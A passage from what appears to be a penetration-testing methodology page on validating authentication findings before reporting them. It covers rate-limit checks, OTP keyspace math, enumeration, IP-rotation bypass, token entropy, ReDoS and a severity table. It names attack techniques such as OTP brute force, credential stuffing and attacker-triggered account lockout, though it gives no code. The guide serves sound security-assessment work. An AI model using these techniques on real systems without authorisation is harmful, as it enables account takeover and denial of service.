Hard lockout triggerable by attackerTargeted account DoS (lock victim out)Medium

Validation — false-positive discipline

Before writing the report, each must hold:

  • OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of 429. Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code.
  • Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime vs 10^6), not by a 101-code probe. State the numbers in the report.
  • Enumeration: difference is reproducible across ≥20 samples and is a server-state difference (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests.
  • IP-rotation bypass: proven by toggling rotation off and showing the 429 returns. The delta IS the proof; one fast run alone is not.
  • Token entropy: backed by an actual measurement (Burp Sequencer effective-bits, ent, or a demonstrated counter/timestamp structure), not "looks short".
  • ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
  • Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)? A rate-limit gap with no reachable impact is informational, not Medium.

Severity:

  • Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
  • No login rate limit + working credential-stuffing/IP-bypass: High
  • Predictable security token (measured low entropy): High
  • Username/email enumeration alone: Low–Medium
  • ReDoS with reproducible meaningful server lag: Medium–High
  • Attacker-triggerable hard lockout (account DoS): Medium

发现问题?提交给管理员复核

评分:

评论 (0)

暂无评论,成为第一个评论者吧!